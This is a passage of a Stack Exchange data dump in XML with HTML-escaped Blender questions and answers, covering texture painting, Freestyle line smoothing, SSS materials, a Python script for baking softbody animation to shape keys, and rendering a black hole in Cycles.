that?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UVs are unwrapped&lt;/li&gt;&#xA;&lt;li&gt;GSLS active (when in solid mode also textured solid activated)&lt;/li&gt;&#xA;&lt;li&gt;display method texture (next problem: i cannot get f.e. bump map to display in solid mode)&lt;/li&gt;&#xA;&lt;li&gt;light in scene&lt;/li&gt;&#xA;&lt;li&gt;textures are named&lt;/li&gt;&#xA;&lt;li&gt;files saved&lt;/li&gt;&#xA;&lt;li&gt;see them in properties&lt;/li&gt;&#xA;&lt;li&gt;The Paint Slots on the left are also visible&lt;/li&gt;&#xA;&lt;li&gt;blender newly re-installed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A video to look at: (But things seemed to change to this version because I can't get the same results in Object mode with GLSL and Textured Solid - as I said - no bump map rendered)&#xA;&lt;a href=&quot;http://cgcookie.com/archive/using-the-texture-paint-layer-add-on/&quot; rel=&quot;nofollow&quot;&gt;http://cgcookie.com/archive/using-the-texture-paint-layer-add-on/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11118" LastEditorUserId="25" LastEditDate="2015-11-22T21:33:41.340" LastActivityDate="2015-11-22T21:33:41.340" Title="Why is the Texture Paint layers manager not switching slots" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-01-21T18:48:54.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="23550" PostTypeId="2" ParentId="23539" CreationDate="2015-01-21T16:05:52.317" Score="5" Body="&lt;p&gt;You can also use &quot;.&quot; period in edit mode it helps a lot in modelling also if you select multiple vertices same thing happens yet different perspective.&lt;/p&gt;&#xA;" OwnerUserId="11117" LastActivityDate="2015-01-21T16:05:52.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23551" PostTypeId="2" ParentId="23548" CreationDate="2015-01-21T16:36:02.837" Score="1" Body="&lt;p&gt;&lt;em&gt;Disclaimer: I just learned this myself, so @NoviceInDisguise can edit it if needed.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Create a bright point of light in your scene. This would be planet earth- already created in your case. Glare can't happen without a target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eAcL2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;At the top of your screen, change the &lt;em&gt;screen layout&lt;/em&gt; mode to be compositing. Once done, you may need to check a little box in the node editor that says &lt;strong&gt;use nodes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DVfAx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;em&gt;glare&lt;/em&gt; filter between the image input and the finished output. Optionally you may add a viewer node at the end of the string so you can see the image in the node editor. In order for a viewer node to be active, you need to check &lt;strong&gt;Backdrop&lt;/strong&gt;. It's located near &lt;strong&gt;use nodes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the glare mode to &lt;em&gt;fog glow&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SgCu2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;4&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Mess with the settings on the glare node until you have a perfectly glowing planet.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-21T16:36:02.837" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="23552" PostTypeId="1" CreationDate="2015-01-21T17:30:03.220" Score="2" ViewCount="369" Body="&lt;p&gt;is there any option to stretch just part of a geometry?&#xA;Like my image? i only need to stretch a little part of the model, i could do it on edit mode but it could be difficult since i got already a lot of polygons, is there any other way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in regard :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WgY95.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit: i already tried with the edit mode, but it doesn't work properly since it doesnt fit the figure like i want.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="9718" LastEditDate="2015-01-21T17:36:12.097" LastActivityDate="2015-01-21T17:39:56.603" Title="How can i stretch part of a geometry with a modifier?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23553" PostTypeId="2" ParentId="23552" CreationDate="2015-01-21T17:39:56.603" Score="1" Body="&lt;p&gt;&lt;strong&gt;Already found a way to do this, i just entered in edit mode and then used the proportional editing option, and also the snap option, it worked! but i just selected the faces i wanted to stretch :)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BnqwJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-21T17:39:56.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23554" PostTypeId="1" AcceptedAnswerId="23555" CreationDate="2015-01-21T18:00:26.307" Score="2" ViewCount="1925" Body="&lt;p&gt;I'm relatively new to Blender and mainly use it for viewing 3D geometry in various formats (such as OBJ). Currently I'm writing my own mesh voxelizer, and my program has support for outputting the resulting voxel array to an OBJ file containing a cube for each voxel. It's not incredibly effective, but I found it to be useful for quickly checking whether or not my voxelizer produces adequate results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a three-dimensional voxel grid; every voxel that is a 1 (instead of 0) is represented as a simple cube, and all these cubes are stored in an OBJ file. The OBJ file contains only the vertex positions and face definitions, there's no MTL mentioned in the OBJ file (and no MTL file is generated, accordingly). Here's an excerpt from a typical OBJ generated by my program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v -1,20000004768372 -1,20000004768372 -1,19999957084656&#xA;v -1,20000004768372 -1,20000004768372 -0,899999618530273&#xA;v -1,20000004768372 -0,900000095367432 -1,19999957084656&#xA;v -1,20000004768372 -0,900000095367432 -0,899999618530273&#xA;...&#xA;f 1 2 3&#xA;f 2 4 3&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I open it in Blender, I see that all geometry is correct, but one triangular face (always the first one in the list of faces!) is highlighted differently by Blender. Here's a screenshot (imported the OBJ, selected the whole mesh, didn't touch anything else):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ToZ1x.png&quot; alt=&quot;One triangle is highlighted differently&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(It's not a representation of any meaningful geometry yet, just a randomized voxel grid, for those wondering)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what Blender is trying to tell me here. How is this face any different from all the other ones (except for being the first face in the file)? What is wrong with the OBJ file my program generates? There's no color assigned to vertices or faces, there's no material specified, all vertices and faces should be the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the file in question, if you want to examine it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.sendspace.com/file/wlrva9&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sendspace.com/file/wlrva9&lt;/a&gt; (171 kB)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's actually a re-created file so the random cubes might be different here and there, but the problematic face in question is still there: look for the corner vertex at (-1.2, -1.2, -1.2).&lt;/p&gt;&#xA;" OwnerUserId="9584" LastEditorUserId="5705" LastEditDate="2015-01-21T18:15:38.800" LastActivityDate="2015-01-21T18:15:38.800" Title="Why is one face on my model gray instead of orange in edit mode?" Tags="&lt;mesh&gt;&lt;geometry&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23555" PostTypeId="2" ParentId="23554" CreationDate="2015-01-21T18:08:27.830" Score="4" Body="&lt;p&gt;&lt;strong&gt;That is simply the &lt;em&gt;active element&lt;/em&gt;.&lt;/strong&gt;  The active element changes all the time when you change the selection.  It is usually the last element you selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is used for various types of things.  For example, the most common use is if you have the transform pivot point set to &lt;em&gt;active element&lt;/em&gt;, it will use the active element as the center of the transformation.  You can change it to another element by selecting that piece of geometry last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In object mode, the active element will be an object, it will have a slightly lighter orange boundary around it.  It is more significant in object mode, since when you change most settings in the properties panel (or go into edit mode) it will only affect the active object.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-01-21T18:13:33.373" LastActivityDate="2015-01-21T18:13:33.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23556" PostTypeId="2" ParentId="23554" CreationDate="2015-01-21T18:13:25.100" Score="1" Body="&lt;p&gt;As pgmath said, this is the active element. It is mostly used as a reference for blender. Operators usually use it as a special pivot point by changing the pivot to &lt;em&gt;active&lt;/em&gt;. Also may be used in union with &lt;a href=&quot;https://blender.stackexchange.com/questions/19036/how-to-align-imported-mesh-to-grid/19038#19038&quot;&gt;snapping&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-01-21T18:13:25.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23557" PostTypeId="2" ParentId="14793" CreationDate="2015-01-21T18:15:34.400" Score="1" Body="&lt;p&gt;Expanding on Mutant Bob's answer (he provided the code, I'm commenting from the math point of view):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is, unfortunately, impossible &quot;in general&quot; (except some fringe cases) to recreate the real positions of some points in space from how they appear from one point of view (and your scene essentially represents one point of view - from the front - even though it's technically 3-dimensional). You need either two points of view (two different variants of the scene; one would look as if you're observing it from the front, like you have here, and another would look as if you're observing it from the side, for example); or you need one point of view AND a depth buffer for that point of view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose you have the first situation (you have two points of view). Then the task of recreating the original positions of vertices in space would be pretty demanding (depending on whether or not we can biject vertices from one scene to another easily), but theoretically possible to pull off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose you have the second situation (one point of view and the depth buffer info). Then the task of recreating the original positions is fairly trivial (you might get lost in the equations, but the algorithm itself is pretty straightforward).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But: unfortunately, even though you have a 3D scene, it's essentially &quot;2D&quot;: you only have the &quot;screen positions&quot; of vertices stored in there and placed onto some plane that is parallel to the camera screen. As a result, you have only one point of view and that's all; no second point of view, no depth information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example: see that lever on the wall behind the character? It could be a big lever far behind the character, or it could be a small lever right next to the character. Both of these situations would result in the same projection (same image). Thus, it's not possible to &quot;backtrack&quot; this operation and determine where that lever really should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The opposite operation to what you want to do is absolutely possible to perform, but what you're asking for is, sadly, impossible since the depth information is lost. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However! If your scene isn't completely flat (all vertices being on one plane), then you could, in theory, multiply it by an arbitrary factor along the axis of depth and then multiply the coordinates along the two other axes, the further you get from the camera position, the more the multiplication factor. However, it will be a very approximate solution (you'll have to eyeball it) and it will largely depend on how (if at all) the relative depth is preserved in your scene.&lt;/p&gt;&#xA;" OwnerUserId="9584" LastEditorUserId="9584" LastEditDate="2015-01-21T18:28:08.497" LastActivityDate="2015-01-21T18:28:08.497" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23558" PostTypeId="1" AcceptedAnswerId="23561" CreationDate="2015-01-21T18:45:18.410" Score="9" ViewCount="2566" Body="&lt;p&gt;For example the lines on this monkey render show pointed edges instead of a smooth curves. How can the lines come out more smooth?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MBkKX.png&quot; alt=&quot;Freestyle Monkey&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wak58.png&quot; alt=&quot;Current Line Art&quot;&gt;&#xA;Current Line&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tVluT.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Smooth Line&lt;/p&gt;&#xA;" OwnerUserId="7524" LastEditorUserId="7524" LastEditDate="2015-01-21T18:53:01.260" LastActivityDate="2015-01-21T19:32:22.413" Title="How can lines be smoothed in Freestyle?" Tags="&lt;rendering&gt;&lt;freestyle&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23559" PostTypeId="1" CreationDate="2015-01-21T18:47:08.093" Score="1" ViewCount="1957" Body="&lt;p&gt;I'm trying to make a translucent material on Cycles but still i'm not very experienced with nodes....i want to make a solid color that is still translucent or can receive some light on the borders, for example, like this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's like organic, but translucent at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kSjcr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or as a more realistic reference, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OzWEN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which kind of material will be the best option in order to make this?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-22T19:09:37.613" Title="How can i make a translucent material on Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23560" PostTypeId="2" ParentId="23559" CreationDate="2015-01-21T19:01:39.097" Score="3" Body="&lt;p&gt;I would use a subsurface scattering (SSS) shader (rather than a translucent shader) mixed with a diffuse/glossy shader mix (or whatever you are using for the base surface shader).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SSS basically makes the rays scatter when they hit the surface of an object, meaning the rays don't come off the surface at the same place they hit it.  The amount of scattering is determined by the scattering radius multiplied by the scale value on the shader.  SSS is usually used for organic things such as skin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check out &lt;a href=&quot;https://blender.stackexchange.com/questions/22972/what-does-the-radius-vector-do-on-an-sss-shader&quot;&gt;this question&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/22998/what-units-does-the-cycles-sss-scattering-radius-use&quot;&gt;this question&lt;/a&gt; and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders&quot; rel=&quot;nofollow noreferrer&quot;&gt;the documentation&lt;/a&gt; to learn more about SSS.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-01-21T19:01:39.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23561" PostTypeId="2" ParentId="23558" CreationDate="2015-01-21T19:13:25.000" Score="12" Body="&lt;p&gt;Apart from smoothing the mesh with Subsurf, &#xA;you could also try adding a Bezier Curve Modifier to the Geometry of the Line Style:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V9ZMp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rZEL7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and after:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nSr3r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also tweak the result by adjusting the chain angles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jjlXw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2015-01-21T19:32:22.413" LastActivityDate="2015-01-21T19:32:22.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23562" PostTypeId="2" ParentId="23457" CreationDate="2015-01-21T19:25:20.657" Score="4" Body="&lt;p&gt;Thanks to Jerryno's tips, I've found an answer how to do this finally in &lt;strong&gt;&lt;em&gt;Cycles&lt;/em&gt;&lt;/strong&gt;. I've discovered, that to make it work, Blender has to have the preview of the texture visible. So I've set up windows as below. In one window you have the &lt;em&gt;viewport shading&lt;/em&gt; set to &lt;strong&gt;&lt;em&gt;Material&lt;/em&gt;&lt;/strong&gt; and in other one it is set to &lt;strong&gt;&lt;em&gt;Rendered&lt;/em&gt;&lt;/strong&gt;. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/KwjE0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you press &lt;em&gt;play&lt;/em&gt; button all images refresh fine. After pressing the &lt;strong&gt;&lt;em&gt;Open GL render active viewport&lt;/em&gt;&lt;/strong&gt; button (or clicking Render--&gt; Open GL Render Animation) you get the movie with an animated texture. Don't know why, but sometimes you'll have to press/click it few times until it works though.&#xA;...............................................................................................................................................&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to make it work in &lt;strong&gt;&lt;em&gt;Blender Internal&lt;/em&gt;&lt;/strong&gt; also. When you press &lt;em&gt;play&lt;/em&gt; button images don't refresh, unless you do one tricky thing. You have to keep the &lt;em&gt;Preview&lt;/em&gt; and &lt;em&gt;Image&lt;/em&gt; panels of the &lt;strong&gt;&lt;em&gt;Texture header&lt;/em&gt;&lt;/strong&gt; expanded. Then you hover the cursor over &lt;em&gt;Preview&lt;/em&gt; panel and press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;. Now the images in the &lt;strong&gt;&lt;em&gt;Texture&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;viewport shading&lt;/em&gt; are refreshing well. Sadly they don't behave the same after pressing the &lt;strong&gt;&lt;em&gt;Open GL render active viewport&lt;/em&gt;&lt;/strong&gt; button. I guess making the &lt;em&gt;Open GL animation render&lt;/em&gt; with a working video texture is impossible in BI.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zmxP9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-03-22T13:21:06.147" LastActivityDate="2015-03-22T13:21:06.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23563" PostTypeId="1" CreationDate="2015-01-21T19:26:14.163" Score="7" ViewCount="7144" Body="&lt;p&gt;I am trying to bake a softbody animation into keyframes but I can't, does anyone knows how to do it? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11121" LastEditorUserId="7777" LastEditDate="2015-01-22T13:17:08.283" LastActivityDate="2015-03-03T20:40:19.367" Title="How to bake softbody animation into keyframes?" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;soft-body&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23564" PostTypeId="2" ParentId="23538" CreationDate="2015-01-21T19:28:03.410" Score="3" Body="&lt;p&gt;Try Sapling tree generator, which is built in newest Blender version (user preferences -&gt; addons -&gt; search &quot;sapling&quot; -&gt; enable (tick the box) -&gt; in 3D view Shift+A -&gt; curve :)&#xA;Play with the settings, and I'm sure, you'll find what you want ;)&lt;/p&gt;&#xA;" OwnerUserId="10986" LastActivityDate="2015-01-21T19:28:03.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23565" PostTypeId="1" CreationDate="2015-01-21T19:28:28.237" Score="0" ViewCount="30" Body="&lt;p&gt;I'm bit of noob when it comes to blender so I was wondering why when I import .fbx models into blender the textures do not appear even when I select the texture option?&lt;/p&gt;&#xA;" OwnerUserId="11122" LastActivityDate="2015-01-21T19:28:28.237" Title="Textures not appearing on autodesk models when I import them" Tags="&lt;modeling&gt;&lt;texturing&gt;" AnswerCount="0" CommentCount="8" ClosedDate="2015-01-21T22:05:24.373" ContentLicense="CC BY-SA 3.0" />
  <row Id="23566" PostTypeId="2" ParentId="23563" CreationDate="2015-01-21T19:59:35.753" Score="12" Body="&lt;p&gt;You &lt;strong&gt;can't bake softbody into keyframes&lt;/strong&gt; anymore, blender uses shape keys now. So you would need to &lt;strong&gt;generate a shape key for every frame&lt;/strong&gt; of animation and also keyframe that shapekey to its frame. You do that with running this script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.active_object&#xA;start = bpy.context.scene.frame_start&#xA;end = bpy.context.scene.frame_end&#xA;&#xA;def insert_keyframe(sk, f):&#xA;    sk.keyframe_insert(&quot;value&quot;, frame=f-1)&#xA;    sk.keyframe_insert(&quot;value&quot;, frame=f+1)&#xA;    sk.value = 1.0&#xA;    sk.keyframe_insert(&quot;value&quot;, frame=f)&#xA;&#xA;meshes = []&#xA;for f in range(start, end+1):&#xA;    bpy.context.scene.frame_set(f)&#xA;    meshes.append(obj.to_mesh(scene=bpy.context.scene, apply_modifiers=True, settings='PREVIEW'))&#xA;&#xA;obj.shape_key_add(name=&quot;Basis&quot;, from_mix=False)&#xA;for i in range(0, end-start+1):&#xA;    key = obj.shape_key_add(name=str(i+start), from_mix=False)&#xA;    insert_keyframe(key, i+start)&#xA;    for vert_id in range(len(obj.data.vertices)):&#xA;        key.data[vert_id].co = meshes[i].vertices[vert_id].co&#xA;&#xA;for mesh in meshes:&#xA;    bpy.data.meshes.remove(mesh)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't forget to &lt;strong&gt;turn your modifier off&lt;/strong&gt; or to delete it (or it will override the shape key animation)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can &lt;strong&gt;export your softbody animation as an New Tek's .mdd&lt;/strong&gt; mesh cache format (export addon will do this) and load this file into Mesh Cache modifier. This allows you to for example offset the animation and further manipulate it.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-01-22T14:11:36.200" LastActivityDate="2015-01-22T14:11:36.200" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="23570" PostTypeId="1" CreationDate="2015-01-21T20:30:32.857" Score="2" ViewCount="918" Body="&lt;p&gt;I'm trying to port The Riddler from Arkham City to Garry's Mod, and to do so, I copied a male armature from Half Life 2 and parented The Riddler model to it with automatic weights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then went into Edit Mode and spent a long time assigning vertices to the bones (not many, as I was just testing) to make the rig more accurate, but when I went into Pose Mode with parts of the armature selected, they did not move correctly with the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then parented a collision mesh to the armature as well (as this was needed), and that worked fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very confused as to why The Riddler does NOT move in time, as I remember trying Automatic Weights again, with the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/0n8licf7iw5abbu/painfulrig.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;Here is the .blend file I'm having trouble with.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly an easy fix?&lt;/p&gt;&#xA;" OwnerUserId="11102" LastActivityDate="2015-03-25T21:30:04.883" Title="Rig not moving mesh correctly" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23571" PostTypeId="1" CreationDate="2015-01-21T20:31:11.553" Score="2" ViewCount="420" Body="&lt;p&gt;I'm trying to recreate an image on 3D (As you can see on the picture) but the material doesn't ''shine'' on the borders like the original picture.&#xA;I was thinking on adding textures but this is for an animation, so maybe a better setup for a material could help more than just a plain texture (which is no problem, i have Zbrush software too)&#xA;&lt;strong&gt;What's the kind of material that i could use to get some kind of 'texture' or 'ilumination' like the original/real picture?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if you have any other idea, what can you recommend? I'm starting with cycles rendering...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F2pYc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-22T03:14:07.813" Title="What is this kind of material?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23573" PostTypeId="1" CreationDate="2015-01-21T21:32:59.093" Score="2" ViewCount="401" Body="&lt;p&gt;Can the near sensor be use a switch?&lt;br&gt;&#xA;Having Cube1 near Cylinder I want the Cube1 to do a infinite continuous movement. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my &lt;a href=&quot;http://www.pasteall.org/blend/33921&quot; rel=&quot;nofollow&quot;&gt;file&lt;/a&gt; Cube1 stops once it goes out of range of the near sensor. Is there a way to make it move forever once it triggers the near sensor?&lt;/p&gt;&#xA;" OwnerUserId="7720" LastEditorUserId="599" LastEditDate="2015-01-22T02:42:44.763" LastActivityDate="2015-03-11T01:30:57.857" Title="Move object continuously after being triggered by near sensor" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23574" PostTypeId="2" ParentId="18703" CreationDate="2015-01-21T21:45:54.660" Score="111" Body="&lt;p&gt;The trouble with this is that you need &lt;a href=&quot;http://en.wikipedia.org/wiki/Gravitational_lens&quot; rel=&quot;noreferrer&quot;&gt;light to &amp;quot;bend&amp;quot; in a continuous arc around the black hole&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The reason why this bending is problematic is that cycles assumes light always travels in straight lines. Light does travel only in straight lines, but it can be bent by gravity.&lt;br /&gt;&#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/Gravitation#General_relativity&quot; rel=&quot;noreferrer&quot;&gt;Gravity is a distortion of&lt;/a&gt; &lt;a href=&quot;http://en.wikipedia.org/wiki/Spacetime&quot; rel=&quot;noreferrer&quot;&gt;spacetime&lt;/a&gt; &lt;a href=&quot;http://en.wikipedia.org/wiki/Gravitation#General_relativity&quot; rel=&quot;noreferrer&quot;&gt;around objects&lt;/a&gt;. The more massive the object, the more distortion.&lt;br /&gt;&#xA;So light is always going straight (from it's point of view), but to us it appears to bend as it follows the &lt;a href=&quot;http://en.wikipedia.org/wiki/Geodesics_in_general_relativity&quot; rel=&quot;noreferrer&quot;&gt;&amp;quot;straight lines&amp;quot; of distorted space&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Normally these distortions are &lt;strong&gt;very&lt;/strong&gt; small, even with such big and massive objects like the sun. However with such a &lt;a href=&quot;http://en.wikipedia.org/wiki/Black_hole&quot; rel=&quot;noreferrer&quot;&gt;ridiculously massive object&lt;/a&gt; as a black hole, this effect can be quite extreme.&lt;/p&gt;&#xA;&lt;p&gt;I don't know of any render engines which take into account such corner-case complications like the bending of &lt;a href=&quot;http://en.wikipedia.org/wiki/Spacetime&quot; rel=&quot;noreferrer&quot;&gt;spacetime&lt;/a&gt; near gravitational bodies :P&lt;br /&gt;&#xA;&lt;sub&gt;This is why a &lt;a href=&quot;http://en.wikipedia.org/wiki/Interstellar_%28film%29#Scientific_accuracy&quot; rel=&quot;noreferrer&quot;&gt;special render engine had to be written to render the effects in &lt;em&gt;Interstellar&lt;/em&gt;&lt;/a&gt;.&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt;  Light is bent around black holes the same way the paths of planets around the sun are bent. Cycles doesn't have any support for simulating this kind of phenomenon.&lt;/p&gt;&#xA;&lt;h1&gt;So, how can we render it with cycles anyway?&lt;/h1&gt;&#xA;&lt;p&gt;In cycles the only way we can &amp;quot;bend&amp;quot; light is via &lt;a href=&quot;http://en.wikipedia.org/wiki/Refraction&quot; rel=&quot;noreferrer&quot;&gt;refraction&lt;/a&gt;, which occurs when light exits one medium and/or enters another. It should be noted that refraction a completely different phenomenon from &lt;a href=&quot;http://en.wikipedia.org/wiki/Gravitational_lens&quot; rel=&quot;noreferrer&quot;&gt;gravitational lensing&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is really the same problem as &lt;a href=&quot;https://blender.stackexchange.com/q/8113/599&quot;&gt;Is it possible to change the IOR inside a volume?&lt;/a&gt;.&#xA;can only bend light at a surface, via the refraction 